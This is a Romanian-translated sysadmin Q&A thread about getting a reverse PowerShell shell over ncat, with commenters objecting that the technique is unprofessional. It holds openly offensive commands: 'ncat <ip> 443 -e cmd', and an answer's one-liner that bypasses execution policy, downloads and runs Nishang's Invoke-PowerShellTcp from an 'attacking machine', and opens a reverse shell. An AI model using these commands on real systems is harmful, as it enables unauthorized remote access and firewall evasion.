Cum să executați un „shell Powershell” inversat folosind ncat sau netcat? (Administrarea sistemului, Windows, Rețea, Netcat)

samsam a intrebat.
a intrebat.

Folosesc ncat pentru a executa un shell „cmd” inversat de la o mașină la alta și fără probleme folosind comenzile:

In my machine:         ncat -l 443
In the remote machine: ncat <my ip> 443 -e cmd

Și totul funcționează fără probleme, totuși, aș prefera foarte mult ca „powershell” să fie executat în loc de „cmd”, pentru asta am făcut acest lucru:

In my machine:         ncat -l 443
In the remote machine: ncat <my ip> 443 -e powershell

Dar acum se întâmplă un lucru ciudat, promptul powershell este dat la mașina de la distanță și nu la a mea… Aceasta este ieșirea:

In my machine: Windows Powershell
               Copyright 2009 Microsoft Corporation. All rights reserverd.   (and it hangs there)
In the remote machine: PS C:UsersUser>      (the shell is actually given to the remote machine)

Există o modalitate de a redirecționa din nou acel prompt către mașina mea și de a avea shell-ul „powershell” în mașina mea, așa cum am făcut cu shell-ul „cmd”? Am căutat redirecționarea stdout, dar nu am reușit să o fac să funcționeze 🙁

Orice ajutor ar fi foarte apreciat.

Comentarii

  • Ce problemă încercați să rezolvați, pe care nu ați putut-o rezolva folosind Powershell Remoting? –  > Por mfinni.
  • Tot nu-mi răspunzi la întrebare – ce problemă încerci să rezolvi? „în caz de urgență” nu-mi spune nimic, pentru că circumstanțele în care acest lucru ar funcționa, dar PS Remoting nu, îmi scapă. –  > Por mfinni.
  • Acest lucru nu este foarte profesionist. Permiteți ca un text simplu pe internet, folosind portul 443, astfel încât să arate superficial ca HTTPS, să traverseze firewall-urile fără permisiunea proprietarului firewall-ului? Pentru că dacă ai avea permisiunea, ai putea obține acces de la distanță în mod corespunzător. Dacă ai face asta pentru a-mi administra serverele, nu ai mai lucra pentru mine. Dacă vă înțeleg greșit, vă rog să mă anunțați. –  > Por mfinni.
  • 🙁 Ia-o ușor omule și eu întreb asta doar pentru curiozitate și cunoaștere. Motivul pentru care cmd funcționează dar powershell nu funcționează mă intrigă. Sunt sigur că are legătură cu o anumită redirecționare stdout/input dar modul de a face să funcționeze este deocamdată din păcate dincolo de cunoștințele mele. –  > Por samsam.
  • Ați citit linkul de ajutor, nu-i așa? Acest site este destinat administratorilor de sistem profesioniști care lucrează pe sisteme de producție. Încerci să rezolvi o problemă care i-ar face pe majoritatea administratorilor de sistem să spună „Vă rog să o luați mai încet și să începeți de la început”. Sunt de acord că întrebarea pe care o puneți este bună pentru curiozitate și chiar mi-ar plăcea să aflu răspunsul, dar este o metodă nepotrivită de acces de la distanță pentru sistemele de producție. –  > Por mfinni.
2 răspunsuri
user3052604

Motivul pentru care Powershell-ul se blochează pe shell-ul invers al mașinii de atac s-ar putea să se datoreze faptului că nu este complet interactiv. Încercați să utilizați shell-uri bazate pe PowerShell, cum ar fi Nishang’s Invoke-PowerShellTcp de la Nishang. Descărcați scriptul .ps1 de pe mașina dvs. de atac, rulați un server HTTP pentru gazda de la distanță de unde să descărcați scriptul, apoi descărcați-l pe mașina de la distanță.

Configurarea unui server HTTP pe mașina dumneavoastră de atac folosind fie Python 2, fie Python 3

python -m SimpleHTTPServer [port]
python3 -m http.server [port]

De asemenea, pe mașina dvs. de atac, rulați un listener netcat:

nc -lnvp [port2]

Apoi rulați acest lucru în Promptul de comandă (cmd) al mașinii de la distanță

powershell.exe -nop -ep bypass -c "iex ((New-Object Net.WebClient).DownloadString('http://[your attacking machine's IP address]:[port1]/Invoke-PowerShellTcp.ps1'));Invoke-PowerShellTcp -Reverse -IPAddress [your attacking machine's IP address] -Port [port2]"

Cochilia inversă capturată pe netcat ar trebui să fie acum complet interactivă.

Daniel

Acest lucru ar trebui să vă ajute să începeți pe calea cea bună:

http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

Comentarii

  • Vă rugăm să nu postați răspunsuri doar cu link-uri. –  > Por Massimo.
  • Da, răspunsurile numai cu link-uri sunt de calitate scăzută, deoarece link-urile se pot schimba/se pot bloca/moarte și, astfel, viitorii cititori nu vor putea învăța din soluția dvs. Vă rugăm să vă editați postarea pentru a include direct detaliile/codul relevant. –  > Por Castaglia.